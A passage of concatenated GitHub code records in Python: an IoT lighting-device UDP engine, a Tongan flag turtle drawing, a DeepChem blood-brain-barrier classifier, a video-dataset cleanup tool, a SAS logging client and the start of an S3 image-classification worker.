self.__just_send_packet:\n continue\n packet = QLPPacket.parse(data, source=addr[0])\n logger.info('<<<< RX: %s', data.hex(' ').upper())\n logger.debug('Receiving packet: %s', packet)\n self.__handle_packet(packet)\n except (ValueError, socket.timeout):\n continue\n finally:\n await asyncio.sleep(0.1)\n self._stop_listen = False\n self._listening = False\n logger.info('Engine was stopped')\n\n def __handle_packet(self, packet: QLPPacket):\n if packet.data[:3] == dpb.I_AM_HERE:\n new_dev = QLSCDevice(\n ip=packet.source,\n device_chip_id=packet.data[4:12].decode(),\n device_uuid=packet.data[13:21].decode(),\n name=packet.data[22:].decode(),\n )\n new_dev.set_engine(self)\n self._devices.add(new_dev)\n if packet.device_id is not None:\n if packet.device_id not in self.__packets:\n raise NotImplementedError('WTF happen???')\n packet_counter = self.__packets[packet.device_id][1]\n if packet.packet_counter == packet_counter:\n self.__locks[packet.device_id].release()\n logger.debug(\n 'Response from device_id=\"%s\" for command_counter=%s was received, lock was released',\n packet.device_id,\n str(packet_counter),\n )\n del self.__packets[packet.device_id]\n else:\n logger.debug(\n 'Command counter is incorrect. Wait for %s, received %s. '\n 'Probably that was response to another client',\n packet_counter,\n packet.packet_counter,\n )\n\n async def _send_packet(self, packet: QLPPacket) -> None:\n if packet.device_id is not None:\n lock = self.__locks[packet.device_id]\n if lock.locked():\n if (datetime.datetime.now() - self.__packets[packet.device_id][0]).total_seconds() < self.__RECV_TIMEOUT:\n logger.info('Sending of packet paused: waiting for response for previous command')\n while lock.locked() and (datetime.datetime.now() - self.__packets[packet.device_id][0]).total_seconds() < self.__RECV_TIMEOUT:\n await asyncio.sleep(0.01)\n if (datetime.datetime.now() - self.__packets[packet.device_id][0]).total_seconds() > self.__RECV_TIMEOUT:\n logger.debug('Lock was released because no response from device')\n lock.release()\n else:\n logger.debug('Packet has no device_id so no awaiting')\n\n # if packet.device_id in self.__packets or (datetime.datetime.now() - self.__packets[packet.device_id][0]).total_seconds() < self.__RECV_TIMEOUT:\n # logger.info('Sending of packet paused: waiting for response for previous command')\n # while packet.device_id in self.__packets:\n # await asyncio.sleep(0.01)\n\n serialized_packet = packet.serialize() if isinstance(packet, QLPPacket) else packet\n logger.info('>>>> TX: %s', serialized_packet.hex(' ').upper())\n logger.debug('Sending packet: %s', packet)\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.sendto(serialized_packet, ('255.255.255.255', self.__QLP_PORT__))\n self.__just_send_packet = serialized_packet\n self.__packets[packet.device_id] = (datetime.datetime.now(), packet.packet_counter)\n await self.__locks[packet.device_id].acquire()\n # raise NotImplementedError('Тут записывает пакет в список ожидания ответа')\n\n async def discover_all_devices(self, timeout: float = __RECV_TIMEOUT) -> Set[QLSCDevice]:\n logger.debug('Search for devices...')\n await self._send_packet(QLPPacket(dpb.ANYBODY_HERE, PacketType.DISCOVERY))\n await asyncio.sleep(timeout)\n return self._devices\n\n @staticmethod\n def connect_new_devices(ssid: str, password: str):\n esp_touch_init(ssid, password, 'T', '255.255.255.255', None)\n esp_touch_send_data()\n","repo_name":"Quantum-0/qlsc","sub_path":"client/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":7833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5060623369","text":"\"\"\"\n汤加国旗\n长方形,长宽之比为2:1。红色旗面,左上角白色长方形上有一个红色十字。红色象征基督所洒下的鲜血,十字表示信奉基督教。\n\"\"\"\n\nimport turtle\n\nh = 450\nw = 900\n\nturtle.screensize(w,h,\"white\")\nturtle.setup(w,h)\n\nt = turtle.Turtle()\nt.pensize(1)\nt.speed(10)\n\n#红\nt.pencolor(\"#c10100\")\nt.fillcolor(\"#c10100\")\nt.penup()\nt.goto(w/2,h/2)\nt.pendown()\nt.begin_fill()\nfor i in range(4):\n t.right(90)\n if i % 2 == 0:\n t.fd(h)\n else:\n t.fd(w)\nt.end_fill()\n\n#白\nt.penup()\nt.goto(-w/2,h/2)\nt.pendown()\nt.pencolor(\"#ffffff\")\nt.fillcolor(\"#ffffff\")\nt.begin_fill()\nfor i in range(4):\n if i % 2 == 0:\n t.fd(w*0.4)\n else:\n t.fd(h * 0.5)\n t.right(90)\nt.end_fill()\n\n#十字\nt.pencolor(\"#c10100\")\nt.fillcolor(\"#c10100\")\nt.penup()\nt.goto(-w/2 * 0.76,((3*50)-20))\nt.pendown()\n\nt.begin_fill()\nfor i in range (12):\n t.fd(50)\n if i % 3 == 0:\n t.left(90)\n else:\n t.right(90)\nt.end_fill()\n \n\nt.hideturtle()\n\nts = t.getscreen()\nts.getcanvas().postscript(file=\"汤加国旗.eps\") #将图片保存下来\n\nturtle.done()","repo_name":"LiuYuZhang/national_flag","sub_path":"汤加国旗.py","file_name":"汤加国旗.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71388606293","text":"#!/usr/bin/env python\n\"\"\"BBBPredictionEngine\n\n Predict blood-brain barrier permeation\n from molecular structures\n \t\t\t\t\t\t\t \n Largely from the deepchem \n 'Graph Convolutions For Tox21' Tutorial\n\n usage example:\n 'python graphConvolution_BBBdata.py --filename finaldata.csv\n --split_method index\n --training_fraction 0.6 \n --testing_fraction 0.2\n --validation_fraction 0.2\n --confusion_matrix\n --bbbp_split 0.5 --generate'\n\n\"\"\"\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys, argparse\nimport numpy as np\nimport tensorflow as tf\nimport deepchem as dc\n\n# Load deepchem modules\nfrom deepchem.models.tensorgraph.models.graph_models import GraphConvModel,\\\n GraphConvTensorGraph\nfrom deepchem.models.tensorgraph.tensor_graph import TensorGraph\nfrom deepchem.models.tensorgraph.layers import Feature, \\\n Dense, BatchNorm, GraphConv, GraphPool, GraphGather, \\\n SoftMax, SoftMaxCrossEntropy, Label, Stack, \\\n Weights, WeightedError\nfrom deepchem.metrics import to_one_hot\nfrom deepchem.feat.mol_graphs import ConvMol\n\nclass graphConvolution_BBBdata(object):\n \"\"\"Callable graph convolution for bbb data\n \"\"\"\n\n def addParser(self, parser):\n \"\"\"\n Get relevant values from an argparse parser\n \"\"\"\n if (parser.parse_args().filename):\n self.filename = parser.parse_args().filename\n else:\n self.filename = 'finaldata.cs'\n\n if (parser.parse_args().split_method):\n self.split_method = parser.parse_args().split_method\n else:\n self.split_method = 'scaffold'\n\n self.training_fraction = parser.parse_args().training_fraction\n self.testing_fraction = parser.parse_args().testing_fraction\n self.validation_fraction = parser.parse_args().validation_fraction\n\n if (parser.parse_args().confusion_matrix):\n self.confusion_matrix = parser.parse_args().confusion_matrix\n else:\n self.confusion_matrix = True\n\n self.calc_confusion_matrix = parser.parse_args().confusion_matrix\n\n bbbp_split_input = parser.parse_args().bbbp_split\n self.bbbp_split = [0.5, 0.5]\n if 0 < bbbp_split_input < 0.5: \n self.bbbp_split = [1.-bbbp_split,_input, bbbp_split_input]\n elif 0.5 < bbbp_split_input < 1:\n self.bbbp_split = [bbbp_split,_input, 1.-bbbp_split_input]\n elif bbbp_split_input == 0.5: \n self.bbbp_split = [0.5, 0.5]\n else:\n print('bbbp_split value must be between 1 and 0')\n self.bbbp_split = [0.5, 0.5]\n\n # evaluate\n def reshape_y_pred(self, y_true, y_pred):\n \"\"\"\n TensorGraph.Predict returns a list of arrays, one for each output\n We also have to remove the padding on the last batch\n Metrics taks results of shape (samples, n_task, prob_of_class)\n \"\"\"\n n_samples = len(y_true)\n return y_pred[:n_samples]\n #retval = np.stack(y_pred, axis=1)\n #return retval[:n_samples]\n\n def loadBBB(self, filename, featurizer='GraphConv', split='index', reload=True, K=4,\n ftrain=0.8, fvalid=0.1, ftest=0.1):\n \"\"\"Load BBB data\"\"\"\n import os\n \n # BBB is a integer, that is either \n # 1, for passing the blood-brain barrier (bbb)\n # or 2 for NOT passing the bbb\n bbb_tasks = ['BBB']\n \n data_dir = 'bbbdata'\n if reload:\n # for future implementation into deepchem\n #save_dir = os.path.join(data_dir, \"bbb/\" + featurizer + \"/\" + split)\n save_dir = os.path.join(data_dir, filename)\n loaded, all_dataset, transformers = dc.utils.save.load_dataset_from_disk(\n save_dir)\n if loaded:\n return bbb_tasks, all_dataset, transformers\n \n dataset_file = os.path.join(data_dir, filename)\n \n if featurizer == 'ECFP':\n featurizer = dc.feat.CircularFingerprint(size=1024)\n elif featurizer == 'GraphConv':\n featurizer = dc.feat.ConvMolFeaturizer()\n elif featurizer == 'Weave':\n featurizer = dc.feat.WeaveFeaturizer()\n elif featurizer == 'Raw':\n featurizer = dc.feat.RawFeaturizer()\n elif featurizer == 'AdjacencyConv':\n featurizer = dc.feat.AdjacencyFingerprint(\n max_n_atoms=150, max_valence=6)\n \n loader = dc.data.CSVLoader(\n tasks=bbb_tasks, smiles_field=\"smiles\", featurizer=featurizer)\n dataset = loader.featurize(dataset_file, shard_size=8192)\n \n # Initialize transformers\n transformers = [\n dc.trans.BalancingTransformer(transform_w=True, dataset=dataset)\n ]\n \n print(\"About to transform data\")\n for transformer in transformers:\n dataset = transformer.transform(dataset)\n \n splitters = {\n 'index': dc.splits.IndexSplitter(),\n 'random': dc.splits.RandomSplitter(),\n 'scaffold': dc.splits.ScaffoldSplitter(),\n 'butina': dc.splits.ButinaSplitter(),\n 'task': dc.splits.TaskSplitter()\n }\n \n splitter = splitters[split]\n if split == 'task':\n fold_datasets = splitter.k_fold_split(dataset, K)\n all_dataset = fold_datasets\n else:\n train, valid, test = splitter.train_valid_test_split(dataset, \n frac_train=ftrain, frac_valid=fvalid, frac_test=ftest)\n all_dataset = (train, valid, test)\n if reload:\n print('reloading')\n dc.utils.save.save_dataset_to_disk(data_dir, train, valid, test,\n transformers)\n return bbb_tasks, all_dataset, transformers\n \n def runGraphConv(self, filename='finaldata.csv'):\n \"\"\"Read the bbb penetration data\n \"\"\"\n # Example\n # Load dataset and define features\n filename = 'finaldata.csv'\n # splitter options: index random scaffold butina task\n # featurizer options: ECFP GraphConv Weave Raw AdjacencyConv\n # reload feature not quite working\n # not sure what the K value is\n bbb_tasks, bbb_datasets, transformers = self.loadBBB(\n filename, featurizer='GraphConv', split=self.split_method, reload=False, K=4,\n ftrain=self.training_fraction, fvalid=self.validation_fraction, \n ftest=self.testing_fraction)\n \n train_dataset, valid_dataset, test_dataset = bbb_datasets\n # print( \"mean bbb value (like % passing) in the: training, validation and test data sets\" )\n #print(np.mean(train_dataset.y), np.mean(valid_dataset.y), np.mean(test_dataset.y))\n \n model = GraphConvModel(\n len(bbb_tasks), batch_size=50, mode='classification',model_dir='models')\n # Set nb_epoch=10 for better results.\n model.fit(train_dataset, nb_epoch=1)\n \n metric = dc.metrics.Metric(\n dc.metrics.roc_auc_score, np.mean, mode=\"classification\")\n \n print(\"Evaluating model\")\n train_scores = model.evaluate(train_dataset, [metric], transformers)\n print(\"Training ROC-AUC Score: %f\" % train_scores[\"mean-roc_auc_score\"])\n valid_scores = model.evaluate(valid_dataset, [metric], transformers)\n print(\"Validation ROC-AUC Score: %f\" % valid_scores[\"mean-roc_auc_score\"])\n \n tg = TensorGraph(use_queue=False)\n \n atom_features = Feature(shape=(None, 75))\n degree_slice = Feature(shape=(None, 2), dtype=tf.int32)\n membership = Feature(shape=(None,), dtype=tf.int32)\n \n deg_adjs = []\n for i in range(0, 10 + 1):\n deg_adj = Feature(shape=(None, i + 1), dtype=tf.int32)\n deg_adjs.append(deg_adj)\n \n # define the graph convolution network\n batch_size = 50\n \n gc1 = GraphConv(\n 64,\n activation_fn=tf.nn.relu,\n in_layers=[atom_features, degree_slice, membership] + deg_adjs)\n batch_norm1 = BatchNorm(in_layers=[gc1])\n gp1 = GraphPool(in_layers=[batch_norm1, degree_slice, membership] + deg_adjs)\n gc2 = GraphConv(\n 64,\n activation_fn=tf.nn.relu,\n in_layers=[gp1, degree_slice, membership] + deg_adjs)\n batch_norm2 = BatchNorm(in_layers=[gc2])\n gp2 = GraphPool(in_layers=[batch_norm2, degree_slice, membership] + deg_adjs)\n dense = Dense(out_channels=128, activation_fn=tf.nn.relu, in_layers=[gp2])\n batch_norm3 = BatchNorm(in_layers=[dense])\n readout = GraphGather(\n batch_size=batch_size,\n activation_fn=tf.nn.tanh,\n in_layers=[batch_norm3, degree_slice, membership] + deg_adjs)\n \n costs = []\n labels = []\n for task in range(len(bbb_tasks)):\n classification = Dense(\n out_channels=2, activation_fn=None, in_layers=[readout])\n \n softmax = SoftMax(in_layers=[classification])\n tg.add_output(softmax)\n \n label = Label(shape=(None, 2))\n labels.append(label)\n cost = SoftMaxCrossEntropy(in_layers=[label, classification])\n costs.append(cost)\n \n all_cost = Stack(in_layers=costs, axis=1)\n weights = Weights(shape=(None, len(bbb_tasks)))\n loss = WeightedError(in_layers=[all_cost, weights])\n tg.set_loss(loss)\n # train\n # Epochs set to 1 to render tutorials online.\n # Set epochs=10 for better results.\n def data_generator(dataset, epochs=1, predict=False, pad_batches=True):\n for epoch in range(epochs):\n if not predict:\n print('Starting epoch %i' % epoch)\n for ind, (X_b, y_b, w_b, ids_b) in enumerate(\n dataset.iterbatches(\n batch_size, pad_batches=pad_batches, deterministic=True)):\n d = {}\n for index, label in enumerate(labels):\n d[label] = to_one_hot(y_b[:, index])\n d[weights] = w_b\n multiConvMol = ConvMol.agglomerate_mols(X_b)\n d[atom_features] = multiConvMol.get_atom_features()\n d[degree_slice] = multiConvMol.deg_slice\n d[membership] = multiConvMol.membership\n for i in range(1, len(multiConvMol.get_deg_adjacency_lists())):\n d[deg_adjs[i - 1]] = multiConvMol.get_deg_adjacency_lists()[i]\n yield d\n \n tg.fit_generator(data_generator(train_dataset, epochs=1))\n \n # Set nb_epoch=10 for better results.\n metric = dc.metrics.Metric(\n dc.metrics.roc_auc_score, np.mean, mode=\"classification\")\n \n \n print(\"Evaluating model\")\n train_predictions = tg.predict_on_generator(data_generator(train_dataset, predict=True))\n train_predictions = self.reshape_y_pred(train_dataset.y, train_predictions)\n train_scores = metric.compute_metric(train_dataset.y, train_predictions, train_dataset.w)\n print(\"Training ROC-AUC Score: %f\" % train_scores)\n \n valid_predictions = tg.predict_on_generator(data_generator(valid_dataset, predict=True))\n valid_predictions = self.reshape_y_pred(valid_dataset.y, valid_predictions)\n valid_scores = metric.compute_metric(valid_dataset.y, valid_predictions, valid_dataset.w)\n print(\"Valid ROC-AUC Score: %f\" % valid_scores)\n \n # save the model\n model.save()\n \n #self.writePredictions(train_dataset.y, train_predictions)\n self.writePredictions(valid_dataset.y, valid_predictions)\n # calculate the confusion matrices\n # and output the predictions\n\n def writePredictions(self, data, predictions):\n \"\"\"\n writes predictions, expects data and predictions to be n x 2 numpy arrays\n \"\"\"\n \n # true_positive false_positive\n # false_negative true_negative \n if self.calc_confusion_matrix:\n confusion_matrix = np.array([ [0, 0], [0, 0]])\n\n f_mol_predict = open('prediction.dat', 'w')\n f_mol_predict.write(\"# molecule_id data frac_predict predict(%f,%f)\" %\n (self.bbbp_split[0], self.bbbp_split[1]))\n for i in range(len(data)):\n f_mol_predict.write(\"%d %f %f\" % (i, data[i,0], predictions[i,1]))\n\n if self.calc_confusion_matrix:\n if predictions[i][1] > self.bbbp_split[0]: \n bbb_prediction = 1\n if data[i] == 1:\n confusion_matrix[0,0] += 1\n else:\n confusion_matrix[0,1] += 1\n if predictions[i][1] < self.bbbp_split[1]: \n bbb_prediction = 0\n if data[i] == 1:\n confusion_matrix[1,0] += 1\n else:\n confusion_matrix[1,1] += 1\n\n f_mol_predict.write(\"%d\" % bbb_prediction)\n\n f_mol_predict.write(\"%s\" % '\\n')\n \n f_mol_predict.close()\n\n if self.calc_confusion_matrix:\n print( 'confusion matrix' )\n print( confusion_matrix)\n \n def loadBBBpredict(self, filename, featurizer='GraphConv', K=4, reload=False):\n \"\"\"Load BBB data\"\"\"\n import os\n \n bbb_tasks = ['BBB']\n \n data_dir = 'bbbdata'\n #data_dir = dc.utils.get_data_dir()\n if reload:\n #save_dir = os.path.join(data_dir, \"bbb/\" + featurizer + \"/\" + split)\n save_dir = os.path.join(data_dir, filename)\n loaded, all_dataset, transformers = dc.utils.save.load_dataset_from_disk(\n save_dir)\n if loaded:\n return bbb_tasks, all_dataset, transformers\n \n dataset_file = os.path.join(data_dir, filename)\n #dataset_file = os.path.join(data_dir, \"bbb.csv.gz\")\n \n if featurizer == 'ECFP':\n featurizer = dc.feat.CircularFingerprint(size=1024)\n elif featurizer == 'GraphConv':\n featurizer = dc.feat.ConvMolFeaturizer()\n elif featurizer == 'Weave':\n featurizer = dc.feat.WeaveFeaturizer()\n elif featurizer == 'Raw':\n featurizer = dc.feat.RawFeaturizer()\n elif featurizer == 'AdjacencyConv':\n featurizer = dc.feat.AdjacencyFingerprint(\n max_n_atoms=150, max_valence=6)\n \n loader = dc.data.CSVLoader(\n tasks=bbb_tasks, smiles_field=\"smiles\", featurizer=featurizer)\n dataset = loader.featurize(dataset_file, shard_size=8192)\n \n # Initialize transformers\n transformers = [\n dc.trans.BalancingTransformer(transform_w=True, dataset=dataset)\n ]\n \n print(\"About to transform data\")\n for transformer in transformers:\n dataset = transformer.transform(dataset)\n \n return bbb_tasks, dataset, transformers\n\n def getPrediction(self):\n \n filename = 'shortexhibit.csv'\n #fpredict = open('bbbdata/'+filename, 'w')\n #fpredict.write('smiles,BBB\\n')\n #fpredict.write('CCOc1ccc2nc(S(N)(=O)=O)sc2c1,0\\n')\n #fpredict.write('O=c1[nH]c(=O)n([C@H]2C[C@H](O)[C@@H](CO)O2)cc1I,0')\n \n #fpredict.close()\n bbb_tasks, bbb_datasets, transformers = self.loadBBB(\n filename, featurizer='GraphConv', split=self.split_method, reload=False, K=4,\n ftrain=1., fvalid=0., ftest=0.)\n \n #bbb_tasks, bbb_datasets, transformers = self.loadBBBpredict(\n # filename, featurizer='GraphConv', K=4, reload=False)\n \n model = GraphConvModel(\n len(bbb_tasks), batch_size=10, mode='classification',model_dir='models')\n \n model = model.load_from_dir('models')\n \n metric = dc.metrics.Metric(\n dc.metrics.roc_auc_score, np.mean, mode=\"classification\")\n \n predicted_val = model.predict(bbb_datasets[0], transformers)\n \n self.writePredictions(bbb_datasets[0].y, predicted_val)\n\ndef main(argv=None):\n # Parse in command-line arguments, and create the user help instructions\n parser = argparse.ArgumentParser(description='Predict blood-brain barrier permeation '\n 'from molecular structure.')\n parser.add_argument('-f', \"--filename\", type=str,\n help='csv filename, which must be included in the bbbdata directory.')\n parser.add_argument(\"--split_method\", type=str, choices=['index', 'random',\n 'scaffold', 'butina', 'task'],\n help='Method for splitting the data into '\n 'training, testing and validation sets')\n parser.add_argument(\"--training_fraction\", type=float, default=0.8,\n help='fraction of total data to be split into training data, default 0.8')\n parser.add_argument(\"--testing_fraction\", type=float, default=0.1,\n help='fraction of total data to be split into testing data, default 0.1')\n parser.add_argument(\"--validation_fraction\", type=float, default=0.1,\n help='fraction of total data to be split into validation data, default 0.1')\n parser.add_argument(\"--confusion_matrix\", action=\"store_true\", default=True,\n help='Calculate the confusion matrix')\n parser.add_argument(\"--bbbp_split\", type=float, default=0.5,\n help='Acceptable value (between 0 and 1) for the bbb prediction, for the '\n 'confusion matrix. Default is 0.5. If \"--bbbp_split 0.6\" then a '\n 'bbb prediction > 0.6 would be a positive, and a'\n 'bbb prediction < 0.4 would be a negative')\n parser.add_argument(\"--generate\", action=\"store_true\",\n help='Generate and save the model')\n parser.add_argument(\"--predict\", action=\"store_true\",\n help='Predict with the model')\n\n # Initialize the graphConvolution_BBBdata class\n bbb_gc = graphConvolution_BBBdata()\n bbb_gc.addParser(parser)\n\n # Tell the class everything specified in files and command line\n if (parser.parse_args().generate):\n bbb_gc.runGraphConv()\n\n if (parser.parse_args().predict):\n bbb_gc.getPrediction()\n\nif __name__ == '__main__':\n sys.exit(main())\n\n","repo_name":"coderrick/Princeton-Medihack-BBBPE","sub_path":"bbbpe_ml/graphConvolution_BBBdata.py","file_name":"graphConvolution_BBBdata.py","file_ext":"py","file_size_in_byte":17407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42954790563","text":"from datasets.base.video.manipulator import VideoDatasetManipulator\nimport copy\nimport numpy as np\nfrom datasets.base.common.operator.manipulator import fit_objects_bounding_box_in_image_size, \\\n update_objects_bounding_box_validity, prepare_bounding_box_annotation_standard_conversion\nfrom data.types.bounding_box_format import BoundingBoxFormat\nfrom data.types.pixel_coordinate_system import PixelCoordinateSystem\nfrom data.types.bounding_box_coordinate_system import BoundingBoxCoordinateSystem\nfrom data.types.pixel_definition import PixelDefinition\n\n\nclass VideoDatasetTweakTool:\n def __init__(self, dataset: dict):\n self.manipulator = VideoDatasetManipulator(dataset)\n\n def apply_index_filter(self, indices):\n self.manipulator.apply_index_filter(indices)\n\n def bounding_box_fit_in_image_size(self, exclude_non_validity=True):\n for sequence in self.manipulator:\n for frame in sequence:\n fit_objects_bounding_box_in_image_size(frame, self.manipulator.context_dao, exclude_non_validity)\n\n def bounding_box_update_validity(self, skip_if_mark_non_validity=True):\n for sequence in self.manipulator:\n for frame in sequence:\n update_objects_bounding_box_validity(frame, self.manipulator.context_dao, skip_if_mark_non_validity)\n\n def annotation_standard_conversion(self, bounding_box_format: BoundingBoxFormat = None,\n pixel_coordinate_system: PixelCoordinateSystem = None,\n bounding_box_coordinate_system: BoundingBoxCoordinateSystem = None,\n pixel_definition: PixelDefinition = None):\n converter = prepare_bounding_box_annotation_standard_conversion(bounding_box_format, pixel_coordinate_system,\n bounding_box_coordinate_system,\n pixel_definition,\n self.manipulator.context_dao)\n if converter is None:\n return\n\n for sequence in self.manipulator:\n for frame in sequence:\n for object_ in frame:\n if object_.has_bounding_box():\n bounding_box, bounding_box_validity = object_.get_bounding_box()\n bounding_box = converter(bounding_box)\n object_.set_bounding_box(bounding_box, bounding_box_validity)\n\n def bounding_box_remove_non_validity_objects(self):\n for sequence in self.manipulator:\n for frame in sequence:\n for object_ in frame:\n if object_.has_bounding_box():\n _, validity = object_.get_bounding_box()\n if validity is False:\n object_.delete()\n\n def bounding_box_remove_empty_annotation_objects(self):\n for sequence in self.manipulator:\n for frame in sequence:\n for object_ in frame:\n if not object_.has_bounding_box():\n object_.delete()\n\n def remove_empty_annotation(self):\n for sequence in self.manipulator:\n for frame in sequence:\n if len(frame) == 0:\n frame.delete()\n if len(sequence) == 0:\n sequence.delete()\n\n def remove_invalid_image(self):\n for sequence in self.manipulator:\n for frame in sequence:\n w, h = frame.get_image_size()\n if w == 0 or h == 0:\n frame.delete()\n\n def remove_empty_annotation_head_tail(self):\n for sequence in self.manipulator:\n for frame in sequence:\n if len(frame) == 0:\n frame.delete()\n else:\n break\n for frame in sequence.get_reverse_iterator():\n if len(frame) == 0:\n frame.delete()\n else:\n break\n if len(sequence) == 0:\n sequence.delete()\n\n def remove_zero_annotation_objects(self):\n for sequence in self.manipulator:\n sequence_object_ids = set()\n for frame in sequence:\n for object_ in frame:\n sequence_object_ids.add(object_.get_id())\n\n for object_ in sequence.get_object_iterator():\n if object_.get_id() not in sequence_object_ids:\n object_.delete()\n\n def remove_category_ids(self, category_ids: list):\n for sequence in self.manipulator:\n for image in sequence:\n for object_ in image:\n if object_.has_category_id():\n if object_.get_category_id() in category_ids:\n object_.delete()\n\n category_id_name_map: dict = copy.copy(self.manipulator.get_category_id_name_map())\n for category_id in category_ids:\n category_id_name_map.pop(category_id)\n self.manipulator.set_category_id_name_map(category_id_name_map)\n\n def make_category_id_sequential(self):\n category_id_name_map = self.manipulator.get_category_id_name_map()\n new_category_ids = list(range(len(category_id_name_map)))\n old_new_category_id_map = {o: n for n, o in zip(new_category_ids, category_id_name_map.keys())}\n for sequence in self.manipulator:\n for frame in sequence:\n for object_ in frame:\n if object_.has_category_id():\n if object_.get_category_id() in old_new_category_id_map:\n object_.set_category_id(old_new_category_id_map[object_.get_category_id()])\n new_category_id_name_map = {n: category_id_name_map[o] for n, o in\n zip(new_category_ids, category_id_name_map.keys())}\n self.manipulator.set_category_id_name_map(new_category_id_name_map)\n\n def sort_by_sequence_size(self, descending=False):\n sizes = []\n for sequence in self.manipulator:\n sequence_frame_size = sequence.get_sequence_frame_size()\n sizes.append(sequence_frame_size[0] * sequence_frame_size[1])\n sizes = np.array(sizes)\n if descending:\n indices = (-sizes).argsort()\n else:\n indices = sizes.argsort()\n self.manipulator.apply_index_filter(indices)\n","repo_name":"LitingLin/SwinTrack","sub_path":"datasets/base/video/filter/tweak_tool.py","file_name":"tweak_tool.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"67"} +{"seq_id":"21495608842","text":"import Queue\nimport threading\nimport logging\nfrom metaswitch.sasclient import sender\n\n# The default SAS port, at the moment not configurable\nDEFAULT_SAS_PORT = 6761\n\n# The number of messages to queue if no value is provided.\nMINIMUM_QUEUE_LENGTH = 100\nDEFAULT_QUEUE_LENGTH = 10000\n\nlogger = logging.getLogger(__name__)\n\n\nclass Client(object):\n def __init__(self,\n system_name,\n system_type,\n resource_identifier,\n sas_address,\n start=True,\n queue_length=DEFAULT_QUEUE_LENGTH):\n \"\"\"\n Constructs the client and the message queue.\n :param system_name: The system name\n :param system_type: The system type, e.g. \"ellis\", \"homer\"\n :param resource_identifier: Identifier of the resource bundle, e.g.\n org.projectclearwater.20151201\n :param sas_address: The hostname or IP address of the SAS server to communicate with, (no\n port)\n :param start: Whether the SAS client should start immediately\n :param queue_length: The maximum number of messages to queue for sending to SAS\n \"\"\"\n queue_length = max(queue_length, MINIMUM_QUEUE_LENGTH)\n self._queue = Queue.Queue(maxsize=queue_length)\n self._stopper = None\n self._worker = None\n self._discarding = None\n\n self._system_name = system_name\n self._system_type = system_type\n self._resource_identifier = resource_identifier\n self._sas_address = sas_address\n\n if start:\n self.start()\n\n def start(self):\n \"\"\"\n Start the sasclient. This should only be called once since the latest call to stop().\n Spins up the thread to do the work, and connects to the SAS server.\n \"\"\"\n if self._worker is not None:\n # We already had a worker. start must have been called twice consecutively. Try to\n # recover.\n self.stop()\n\n logger.info(\"Starting SAS client\")\n self._stopper = threading.Event()\n self._discarding = threading.Event()\n self._worker = sender.MessageSender(\n self._stopper,\n self._queue,\n self._discarding,\n self._system_name,\n self._system_type,\n self._resource_identifier,\n self._sas_address,\n DEFAULT_SAS_PORT)\n self._worker.setDaemon(True)\n\n # Make the initial connection.\n self._worker.connect()\n\n # Start the message sender worker thread.\n self._worker.start()\n\n def stop(self):\n \"\"\"\n Stop the worker thread, closing the connection, and remove references to thread-related\n objects. Queued messages will be left on the queue until the queue is garbage collected, or\n the queue is reused and the messages are sent.\n The worker thread is a daemon, so it isn't usually necessary to call this, but it is\n preferred.\n \"\"\"\n logger.info(\"Stopping SAS client\")\n self._stopper.set()\n self._worker.join()\n if not self._queue.empty():\n logger.warn(\"SAS client was stopped with messages still on the queue\")\n\n self._worker = None\n self._stopper = None\n self._discarding = None\n\n def send(self, message):\n logger.debug(\"Queueing message for sending:\\n%s\", str(message))\n try:\n self._queue.put(message, block=False)\n except Queue.Full:\n # The message queue is full. Inform the worker that it will need\n # to start discarding messages.\n if not self._discarding.is_set():\n logger.error(\"The message queue is full. Messages queued for sending to SAS will \"\n \"be discarded\")\n self._discarding.set()\n\n\nclass Trail(object):\n next_trail = 1\n next_trail_lock = threading.Lock()\n\n def __init__(self):\n with Trail.next_trail_lock:\n self._trail = Trail.next_trail\n Trail.next_trail += 1\n\n def get_trail_id(self):\n return self._trail\n\n\nclass TestClient(object):\n \"\"\"\n Fake implementation of the Client, to be used by the user in unit tests.\n \"\"\"\n def __init__(self):\n self.message_queue = []\n\n def start(self):\n pass\n\n def stop(self):\n pass\n\n def send(self, message):\n self.message_queue.append(message)\n","repo_name":"Metaswitch/sasclient.py","sub_path":"src/metaswitch/sasclient/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"35238132890","text":"import pickle\nimport subprocess\nimport time\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\nfrom settings import *\n\nlogger = init_logger(__name__)\n\nsqs_resource = boto3.resource('sqs')\nsqs_client = boto3.client('sqs')\n\n\ndef fetch_image_from_s3(input_image_id):\n try:\n s3 = boto3.client(S3)\n s3.download_file(INPUT_BUCKET, input_image_id, IMAGES_PATH + input_image_id)\n run_shell_command(input_image_id)\n except ClientError as error:\n logger.exception(\"Couldn't fetch image from input bucket: %s\", INPUT_BUCKET)\n raise error\n\n\ndef run_shell_command(input_image_id):\n try:\n prediction = subprocess.check_output(\n ['python3', 'image_classification.py', IMAGES_PATH + input_image_id, '2>&1', '|', 'tee -a classify.log'])\n prediction_output = prediction.strip().decode('utf-8')\n logger.info(\"Prediction output= %s\", prediction_output)\n\n prediction_output_serialized = serialize(prediction_output)\n upload_file(input_image_id, prediction_output_serialized)\n except ClientError as error:\n logger.exception(\"Couldn't process the input image in Deep Learning model\")\n raise error\n\n\ndef serialize(text):\n try:\n serialized_object = pickle.dumps(text)\n return serialized_object\n except:\n logger.exception(\"Couldn't serialize the predicted value\")\n return None\n\n\ndef upload_file(input_image_id, serialized_object):\n try:\n s3 = boto3.client(S3)\n s3.put_object(Bucket=OUTPUT_BUCKET, Key=input_image_id, Body=serialized_object)\n except:\n logger.exception(\"Couldn't upload the serialized object in the output bucket: %s\", OUTPUT_BUCKET)\n\n\ndef initiate_app_tier():\n try:\n fetch_imageid_from_sqs()\n except ClientError as error:\n logger.exception(\"Couldn't 